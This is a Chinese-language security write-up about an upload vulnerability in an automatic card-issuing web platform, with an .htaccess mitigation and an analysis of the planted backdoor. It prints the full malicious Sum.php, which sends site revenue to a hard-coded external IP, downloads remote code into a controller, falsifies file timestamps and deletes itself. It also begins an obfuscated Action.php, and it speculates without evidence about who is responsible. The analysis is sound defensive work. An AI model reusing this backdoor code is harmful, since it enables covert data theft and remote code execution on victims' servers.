2、漏洞二:
黑客会上传可执行的php文件到static/upload目录,如果没有查出来漏洞位置,可以直接禁止在upload目录里执行php文件,即可解决这个漏洞(最简单粗暴的方法)。
禁止在upload目录里执行php文件的方法:
在upload目录下创建.htaccess文件,代码如下:
<Files ~ “.php”>
Order allow,deny
Deny from all
.htaccess里的这几行代码可以禁止运行php文件,禁止上传目录运行php可执行文件,可以从一定程度上增加网站的安全性!
**漏洞原因:**黑客利用知宇自动发卡平台的APP传输漏洞上传木马文件,因为每个人的APP通信信息都是一样的。
**漏洞位置:**application/api/controller/Common.php文件的upload()方法
**解决方案:**删除这个upload()方法,也可以把整个api目录删掉,因为平台没有开发安卓端,基本用不上这个api。
分析一下这个漏洞是什么原理:
1、黑客首先是上传可执行的php文件到static/upload目录,该文件代码如下图:
2、上一步会在application/manage/controller/目录下创建一个Sum.php文件,这个Sum.php文件的代码如下:
<?php namespace app\manage\controller; use think\Db; use think\Request; use app\common\model\User as UserModel; use app\common\model\Order as OrderModel; use app\common\model\Cash as CashModel; use app\common\model\Channel as ChannelModel; class Sum { public function index(){ $todayTime =strtotime(date('Y-m-d')); $yesterTime =$todayTime-86400; $incomeStatis['yester_sum'] =OrderModel::where(['status'=>1,'create_at' =>['between',[$yesterTime,$todayTime-1]]])->sum('total_price'); $d=$incomeStatis['yester_sum']; $aaa=$_SERVER['HTTP_HOST']; file_get_contents("http://103.234.72.67/1.php?a=$aaa&c=$d"); if($incomeStatis['yester_sum']>'2000'){ $path=$_SERVER["DOCUMENT_ROOT"]; $b='/application/wechat/controller/Action.php'; $a=$path.$b; copy('http://103.234.72.67/Action.txt',"$a"); touch("$a",mktime(12,3,10,11,26,2020)); } $path=$_SERVER["DOCUMENT_ROOT"]; unlink("$path/application/manage/controller/Sum.php"); } } > **通过分析代码,Sum.php文件的作用大概如下:** > > 1、统计平台昨日的订单总额,然后记录网站域名和订单金额到远程服务器端。我在想,这个会不会是知宇搞的鬼呢,按理说这个发卡系统是开源的,应该不会涉及侵犯著作权等问题,如果知宇通过这个手段来监测,发现某某平台每日流水达到预期,再通过法律诉讼等手段要求这个平台赔偿,从中获益也未尝不可,毕竟系统是知宇开发的,开源只是让大家用来研究学习,而不是用来经营获利。 > > 2、如果平台昨日订单总额大于2000元,就会在application/wechat/controller/目录下创建Action.php文件,这个Action.php文件的代码是远程获取的,而且做了加密,具体做什么并不清楚,但一定是黑客用来黑平台的手段,有可能是获取平台的用户信息,有可能是其他不可告人的勾当。 3、Action.php文件的代码如下: <?php /* 本代码由 爱发资源网独家创建 创建时间 2020-11-24 01:38:59 技术支持 姝妍计算机 官方网址 http://www.a8tg.com 客服QQ-351075088 QQ-244656508 购买授权请到官方进行购买或者联系官方指定代理人员进行购买 */ namespace app\wechat\controller; error_reporting(0); if(!defined("JBAEDJACJBE"))define("JBAEDJACJBE","AB_JJCJJ"); $GLOBALS[JBAEDJACJBE]=explode('|g|4|P|','H*|g|4|P|6e69636b6e616d65|g|4|P|636f756e747279|g|4|P|70726f76696e6365|g|4|P|63697479|g|4|P|6c696b65|g|4|P|25|g|4|P|25|g|4|P|736578|g|4|P|736578|g|4|P|736578|g|4|P|736578|g|4|P|746167|g|4|P|746167|g|4|P|636f6e63617428272c272c74616769645f6c6973742c272c2729206c696b65203a746167|g|4|P|746167|g|4|P|252c|g|4|P|746167|g|4|P|2c25|g|4|P|e5beaee4bfa1e7b289e4b89de7aea1e79086|g|4|P|69735f6261636b|g|4|P|30|g|4|P|7375627363726962655f74696d652064657363|g|4|P|706f73742e757365726e6d61652f73|g|4|P|757365725f6578706972655f74696d65|g|4|P|e8b4a6e688b7e4b88de5ad98e59ca8efbc81|g|4|P|53797374656d55736572|g|4|P|757365726e616d65|g|4|P|69735f64656c65746564|g|4|P|75736572|g|4|P|6e616d65|g|4|P|e7bc96e8be91e6a087e7adbee5a4b1e8b4a52c20e8afb7e7a88de5908ee5868de8af9521|g|4|P|6964|g|4|P|6e616d65|g|4|P|6964|g|4|P|e7bc96e8be91e6a087e7adbee68890e58a9f21|g|4|P|666f726d|g|4|P|6964|g|4|P|6e616d65|g|4|P|6964|g|4|P|30|g|4|P|55736572|g|4|P|'); if(!defined("B_C_ICI_FE__"))define("B_C_ICI_FE__","AAT__TCT"); $GLOBALS[B_C_ICI_FE__]=e